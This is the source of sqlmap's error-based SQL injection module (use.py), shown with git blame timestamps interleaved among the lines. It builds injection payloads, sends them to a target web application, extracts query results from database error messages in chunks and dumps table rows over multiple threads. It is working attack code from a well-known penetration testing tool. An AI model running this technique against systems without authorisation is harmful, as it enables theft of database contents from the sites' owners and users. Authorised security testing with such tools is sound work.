sqlmap/lib/techniques/error/use.py

460 lines
20 KiB
Python
Raw Normal View History

#!/usr/bin/env python
2010-10-20 13:09:04 +04:00
"""
2017-01-02 16:19:18 +03:00
Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
2010-10-20 13:09:04 +04:00
See the file 'doc/COPYING' for copying permission
"""
import re
import time
from extra.safe2bin.safe2bin import safecharencode
2010-10-20 13:09:04 +04:00
from lib.core.agent import agent
2012-02-16 13:46:41 +04:00
from lib.core.bigarray import BigArray
from lib.core.common import Backend
from lib.core.common import calculateDeltaSeconds
from lib.core.common import dataToStdout
from lib.core.common import decodeHexValue
2010-12-06 10:48:14 +03:00
from lib.core.common import extractRegexResult
from lib.core.common import getConsoleWidth
from lib.core.common import getPartRun
from lib.core.common import getUnicode
from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite
2011-12-21 15:50:49 +04:00
from lib.core.common import incrementCounter
2010-12-18 12:51:34 +03:00
from lib.core.common import initTechnique
2012-06-14 17:38:53 +04:00
from lib.core.common import isListLike
from lib.core.common import isNumPosStrValue
from lib.core.common import listToStrValue
2011-12-23 00:42:57 +04:00
from lib.core.common import readInput
2012-12-30 14:10:32 +04:00
from lib.core.common import unArrayizeValue
2012-12-19 04:46:23 +04:00
from lib.core.convert import hexdecode
from lib.core.convert import htmlunescape
2010-10-20 13:09:04 +04:00
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
2012-08-21 13:19:15 +04:00
from lib.core.dicts import FROM_DUMMY_TABLE
from lib.core.enums import DBMS
2015-08-26 16:26:16 +03:00
from lib.core.enums import HASHDB_KEYS
2014-08-27 01:36:04 +04:00
from lib.core.enums import HTTP_HEADER
2015-11-20 13:32:54 +03:00
from lib.core.exception import SqlmapDataException
from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD
2015-08-26 16:26:16 +03:00
from lib.core.settings import MIN_ERROR_CHUNK_LENGTH
from lib.core.settings import MAX_ERROR_CHUNK_LENGTH
from lib.core.settings import NULL
2012-07-06 17:36:32 +04:00
from lib.core.settings import PARTIAL_VALUE_MARKER
from lib.core.settings import ROTATING_CHARS
2011-12-23 00:42:57 +04:00
from lib.core.settings import SLOW_ORDER_COUNT_THRESHOLD
from lib.core.settings import SQL_SCALAR_REGEX
from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT
from lib.core.threads import getCurrentThreadData
from lib.core.threads import runThreads
2010-10-20 13:09:04 +04:00
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
2013-05-13 16:50:03 +04:00
from lib.utils.progress import ProgressBar
2010-10-20 13:09:04 +04:00
2015-08-26 16:26:16 +03:00
def _oneShotErrorUse(expression, field=None, chunkTest=False):
2012-07-06 17:36:32 +04:00
offset = 1
rotator = 0
2012-07-06 17:36:32 +04:00
partialValue = None
threadData = getCurrentThreadData()
2012-02-24 18:54:10 +04:00
retVal = hashDBRetrieve(expression, checkConf=True)
2012-07-06 17:36:32 +04:00
if retVal and PARTIAL_VALUE_MARKER in retVal:
partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
logger.info("resuming partial value: '%s'" % _formatPartialContent(partialValue))
2012-07-06 17:36:32 +04:00
offset += len(partialValue)
2011-10-12 02:40:00 +04:00
2012-07-06 17:36:32 +04:00
threadData.resumed = retVal is not None and not partialValue
2015-08-26 16:26:16 +03:00
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
debugMsg = "searching for error chunk length..."
logger.debug(debugMsg)
current = MAX_ERROR_CHUNK_LENGTH
while current >= MIN_ERROR_CHUNK_LENGTH:
testChar = str(current % 10)
testQuery = "SELECT %s('%s',%d)" % ("REPEAT" if Backend.isDbms(DBMS.MYSQL) else "REPLICATE", testChar, current)
result = unArrayizeValue(_oneShotErrorUse(testQuery, chunkTest=True))
2016-01-11 01:12:46 +03:00
if (result or "").startswith(testChar):
2015-08-26 16:26:16 +03:00
if result == testChar * current:
kb.errorChunkLength = current
break
else:
result = re.search(r"\A\w+", result).group(0)
candidate = len(result) - len(kb.chars.stop)
current = candidate if candidate != current else current - 1
2015-08-26 16:26:16 +03:00
else:
current = current / 2
if kb.errorChunkLength:
hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength)
else:
kb.errorChunkLength = 0
2012-07-06 17:36:32 +04:00
if retVal is None or partialValue:
try:
while True:
2016-01-11 01:07:11 +03:00
check = r"%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
2016-01-11 00:59:40 +03:00
trimcheck = r"%s(?P<result>[^<\n]*)" % (kb.chars.start)
2012-07-06 17:36:32 +04:00
if field:
nulledCastedField = agent.nullAndCastField(field)
2012-07-06 17:36:32 +04:00
2015-08-26 16:26:16 +03:00
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(_ in field for _ in ("COUNT", "CASE")) and kb.errorChunkLength and not chunkTest:
extendedField = re.search(r"[^ ,]*%s[^ ,]*" % re.escape(field), expression).group(0)
if extendedField != field: # e.g. MIN(surname)
nulledCastedField = extendedField.replace(field, nulledCastedField)
field = extendedField
2015-08-26 16:26:16 +03:00
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, kb.errorChunkLength)
2012-07-06 17:36:32 +04:00
# Forge the error-based SQL injection request
2012-12-05 13:45:17 +04:00
vector = kb.injection.data[kb.technique].vector
2012-07-06 17:36:32 +04:00
query = agent.prefixQuery(vector)
query = agent.suffixQuery(query)
injExpression = expression.replace(field, nulledCastedField, 1) if field else expression
2013-01-18 18:40:37 +04:00
injExpression = unescaper.escape(injExpression)
2012-07-06 17:36:32 +04:00
injExpression = query.replace("[QUERY]", injExpression)
payload = agent.payload(newValue=injExpression)
# Perform the request
2013-05-17 17:14:51 +04:00
page, headers = Request.queryPage(payload, content=True, raise404=False)
2012-07-06 17:36:32 +04:00
2012-12-05 13:45:17 +04:00
incrementCounter(kb.technique)
2012-07-06 17:36:32 +04:00
2014-08-27 01:36:04 +04:00
if page and conf.noEscape:
2014-07-14 23:10:45 +04:00
page = re.sub(r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" % (kb.chars.start, kb.chars.stop), "", page)
2014-07-11 18:24:57 +04:00
2012-07-06 17:36:32 +04:00
# Parse the returned page to get the exact error-based
# SQL injection output
output = reduce(lambda x, y: x if x is not None else y, (\
2012-07-06 17:36:32 +04:00
extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \
2014-08-27 01:36:04 +04:00
extractRegexResult(check, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \
2012-07-06 17:36:32 +04:00
if headers else None), re.DOTALL | re.IGNORECASE), \
extractRegexResult(check, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
2012-12-10 20:13:00 +04:00
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \
2012-07-06 17:36:32 +04:00
None)
if output is not None:
2012-12-11 15:02:06 +04:00
output = getUnicode(output)
else:
2012-07-06 17:36:32 +04:00
trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \
2014-08-27 01:36:04 +04:00
or extractRegexResult(trimcheck, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \
2012-07-06 17:36:32 +04:00
if headers else None), re.DOTALL | re.IGNORECASE) \
or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \
if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if trimmed:
2015-08-26 16:26:16 +03:00
if not chunkTest:
warnMsg = "possible server trimmed output detected "
warnMsg += "(due to its length and/or content): "
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
2012-07-06 17:36:32 +04:00
if not kb.testMode:
2016-01-11 01:07:11 +03:00
check = r"(?P<result>[^<>\n]*?)%s" % kb.chars.stop[:2]
output = extractRegexResult(check, trimmed, re.IGNORECASE)
2014-12-10 08:37:17 +03:00
if not output:
check = "(?P<result>[^\s<>'\"]+)"
output = extractRegexResult(check, trimmed, re.IGNORECASE)
else:
output = output.rstrip()
2012-07-06 17:36:32 +04:00
if any(Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)):
if offset == 1:
retVal = output
else:
retVal += output if output else ''
2015-08-26 16:26:16 +03:00
if output and kb.errorChunkLength and len(output) >= kb.errorChunkLength and not chunkTest:
offset += kb.errorChunkLength
2012-07-06 17:36:32 +04:00
else:
break
if output:
if kb.fileReadMode:
dataToStdout(_formatPartialContent(output).replace(r"\n", "\n").replace(r"\t", "\t"))
elif offset > 1:
rotator += 1
if rotator >= len(ROTATING_CHARS):
rotator = 0
dataToStdout("\r%s\r" % ROTATING_CHARS[rotator])
else:
2012-07-06 17:36:32 +04:00
retVal = output
break
2012-07-06 17:36:32 +04:00
except:
2013-02-04 19:37:54 +04:00
if retVal is not None:
hashDBWrite(expression, "%s%s" % (retVal, PARTIAL_VALUE_MARKER))
2012-07-06 17:36:32 +04:00
raise
2010-10-26 13:33:18 +04:00
retVal = decodeHexValue(retVal) if conf.hexConvert else retVal
if isinstance(retVal, basestring):
retVal = htmlunescape(retVal).replace("<br>", "\n")
retVal = _errorReplaceChars(retVal)
2013-02-04 19:37:54 +04:00
if retVal is not None:
hashDBWrite(expression, retVal)
2010-10-20 13:09:04 +04:00
else:
2011-12-22 16:21:30 +04:00
_ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
retVal = extractRegexResult(_, retVal, re.DOTALL | re.IGNORECASE) or retVal
return safecharencode(retVal) if kb.safeCharEncode else retVal
def _errorFields(expression, expressionFields, expressionFieldsList, num=None, emptyFields=None, suppressOutput=False):
2012-12-20 14:06:52 +04:00
values = []
origExpr = None
width = getConsoleWidth()
2011-10-12 02:40:00 +04:00
threadData = getCurrentThreadData()
for field in expressionFieldsList:
output = None
if field.startswith("ROWNUM "):
continue
if isinstance(num, int):
origExpr = expression
2011-02-07 19:24:23 +03:00
expression = agent.limitQuery(num, expression, field, expressionFieldsList[0])
if "ROWNUM" in expressionFieldsList:
expressionReplaced = expression
else:
expressionReplaced = expression.replace(expressionFields, field, 1)
output = NULL if emptyFields and field in emptyFields else _oneShotErrorUse(expressionReplaced, field)
if not kb.threadContinue:
return None
if not suppressOutput:
if kb.fileReadMode and output and output.strip():
print
elif output is not None and not (threadData.resumed and kb.suppressResumeInfo) and not (emptyFields and field in emptyFields):
status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", output if kb.safeCharEncode else safecharencode(output))
if len(status) > width:
status = "%s..." % status[:width - 3]
dataToStdout("%s\n" % status)
if isinstance(num, int):
expression = origExpr
2012-12-20 14:06:52 +04:00
values.append(output)
2012-12-20 14:06:52 +04:00
return values
def _errorReplaceChars(value):
"""
Restores safely replaced characters
"""
retVal = value
if value:
retVal = retVal.replace(kb.chars.space, " ").replace(kb.chars.dollar, "$").replace(kb.chars.at, "@").replace(kb.chars.hash_, "#")
return retVal
def _formatPartialContent(value):
2012-07-06 17:36:32 +04:00
"""
2012-12-19 04:46:23 +04:00
Prepares (possibly hex-encoded) partial content for safe console output
2012-07-06 17:36:32 +04:00
"""
if value and isinstance(value, basestring):
try:
2012-12-19 04:46:23 +04:00
value = hexdecode(value)
2012-07-06 17:36:32 +04:00
except:
pass
finally:
value = safecharencode(value)
2012-12-19 04:46:23 +04:00
2012-07-06 17:36:32 +04:00
return value
2012-07-12 18:38:43 +04:00
def errorUse(expression, dump=False):
"""
Retrieve the output of a SQL query taking advantage of the error-based
SQL injection vulnerability on the affected parameter.
"""
2012-12-05 13:45:17 +04:00
initTechnique(kb.technique)
2012-02-03 14:38:04 +04:00
abortedFlag = False
count = None
emptyFields = []
start = time.time()
startLimit = 0
stopLimit = None
2012-12-20 14:06:52 +04:00
value = None
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)
# Set kb.partRun in case the engine is called from the API
kb.partRun = getPartRun(alias=False) if hasattr(conf, "api") else None
# We have to check if the SQL query might return multiple entries
# and in such case forge the SQL limiting the query output one
# entry at a time
# NOTE: we assume that only queries that get data from a table can
# return multiple entries
if (dump and (conf.limitStart or conf.limitStop)) or (" FROM " in \
2012-02-07 16:05:23 +04:00
expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) \
or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
and ("(CASE" not in expression.upper() or ("(CASE" in expression.upper() and "WHEN use" in expression))) \
and not re.search(SQL_SCALAR_REGEX, expression, re.I):
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
if limitCond:
# Count the number of SQL query entries output
countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)
2014-12-12 16:54:47 +03:00
if " ORDER BY " in countedExpression.upper():
2012-12-19 15:40:00 +04:00
_ = countedExpression.upper().rindex(" ORDER BY ")
countedExpression = countedExpression[:_]
_, _, _, _, _, _, countedExpressionFields, _ = agent.getFields(countedExpression)
2012-12-30 14:10:32 +04:00
count = unArrayizeValue(_oneShotErrorUse(countedExpression, countedExpressionFields))
if isNumPosStrValue(count):
if isinstance(stopLimit, int) and stopLimit > 0:
stopLimit = min(int(count), int(stopLimit))
else:
stopLimit = int(count)
infoMsg = "the SQL query used returns "
infoMsg += "%d entries" % stopLimit
logger.info(infoMsg)
elif count and not count.isdigit():
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif (not count or int(count) == 0):
2012-01-07 21:45:45 +04:00
if not count:
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
else:
2012-12-20 14:06:52 +04:00
value = [] # for empty tables
return value
2011-12-23 00:42:57 +04:00
if " ORDER BY " in expression and (stopLimit - startLimit) > SLOW_ORDER_COUNT_THRESHOLD:
message = "due to huge table size do you want to remove "
message += "ORDER BY clause gaining speed over consistency? [y/N] "
2012-12-20 14:06:52 +04:00
_ = readInput(message, default="N")
2011-12-23 00:42:57 +04:00
2012-12-20 14:06:52 +04:00
if _ and _[0] in ("y", "Y"):
2011-12-23 00:42:57 +04:00
expression = expression[:expression.index(" ORDER BY ")]
numThreads = min(conf.threads, (stopLimit - startLimit))
2011-07-03 02:48:56 +04:00
threadData = getCurrentThreadData()
2015-11-20 13:32:54 +03:00
try:
threadData.shared.limits = iter(xrange(startLimit, stopLimit))
except OverflowError:
errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit)
errMsg += "with switch '--fresh-queries'"
raise SqlmapDataException(errMsg)
2012-12-20 14:06:52 +04:00
threadData.shared.value = BigArray()
2012-12-18 19:03:35 +04:00
threadData.shared.buffered = []
threadData.shared.counter = 0
2012-12-18 19:03:35 +04:00
threadData.shared.lastFlushed = startLimit - 1
threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1
if threadData.shared.showEta:
threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit))
if kb.dumpTable and (len(expressionFieldsList) < (stopLimit - startLimit) > CHECK_ZERO_COLUMNS_THRESHOLD):
for field in expressionFieldsList:
if _oneShotErrorUse("SELECT COUNT(%s) FROM %s" % (field, kb.dumpTable)) == '0':
emptyFields.append(field)
debugMsg = "column '%s' of table '%s' will not be " % (field, kb.dumpTable)
debugMsg += "dumped as it appears to be empty"
logger.debug(debugMsg)
2011-07-03 02:48:56 +04:00
if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
kb.suppressResumeInfo = True
debugMsg = "suppressing possible resume console info because of "
debugMsg += "large number of rows. It might take too long"
logger.debug(debugMsg)
2011-07-03 02:48:56 +04:00
try:
def errorThread():
threadData = getCurrentThreadData()
while kb.threadContinue:
2012-12-20 14:06:52 +04:00
with kb.locks.limit:
2012-06-14 17:50:36 +04:00
try:
valueStart = time.time()
threadData.shared.counter += 1
2012-06-14 17:50:36 +04:00
num = threadData.shared.limits.next()
except StopIteration:
break
output = _errorFields(expression, expressionFields, expressionFieldsList, num, emptyFields, threadData.shared.showEta)
if not kb.threadContinue:
break
2012-12-10 20:13:00 +04:00
if output and isListLike(output) and len(output) == 1:
output = output[0]
2012-12-20 14:06:52 +04:00
with kb.locks.value:
2012-12-18 19:03:35 +04:00
index = None
if threadData.shared.showEta:
threadData.shared.progress.progress(time.time() - valueStart, threadData.shared.counter)
2012-12-18 19:03:35 +04:00
for index in xrange(len(threadData.shared.buffered)):
if threadData.shared.buffered[index][0] >= num:
break
threadData.shared.buffered.insert(index or 0, (num, output))
while threadData.shared.buffered and threadData.shared.lastFlushed + 1 == threadData.shared.buffered[0][0]:
threadData.shared.lastFlushed += 1
2012-12-20 14:06:52 +04:00
threadData.shared.value.append(threadData.shared.buffered[0][1])
2012-12-18 19:03:35 +04:00
del threadData.shared.buffered[0]
runThreads(numThreads, errorThread)
except KeyboardInterrupt:
2012-02-03 14:38:04 +04:00
abortedFlag = True
2011-04-06 18:40:45 +04:00
warnMsg = "user aborted during enumeration. sqlmap "
2011-03-31 18:13:53 +04:00
warnMsg += "will display partial output"
logger.warn(warnMsg)
finally:
2012-12-20 14:06:52 +04:00
threadData.shared.value.extend(_[1] for _ in sorted(threadData.shared.buffered))
value = threadData.shared.value
kb.suppressResumeInfo = False
2012-12-20 14:06:52 +04:00
if not value and not abortedFlag:
value = _errorFields(expression, expressionFields, expressionFieldsList)
2012-12-20 14:06:52 +04:00
if value and isListLike(value) and len(value) == 1 and isinstance(value[0], basestring):
value = value[0]
duration = calculateDeltaSeconds(start)
if not kb.bruteMode:
debugMsg = "performed %d queries in %.2f seconds" % (kb.counters[kb.technique], duration)
logger.debug(debugMsg)
2012-12-20 14:06:52 +04:00
return value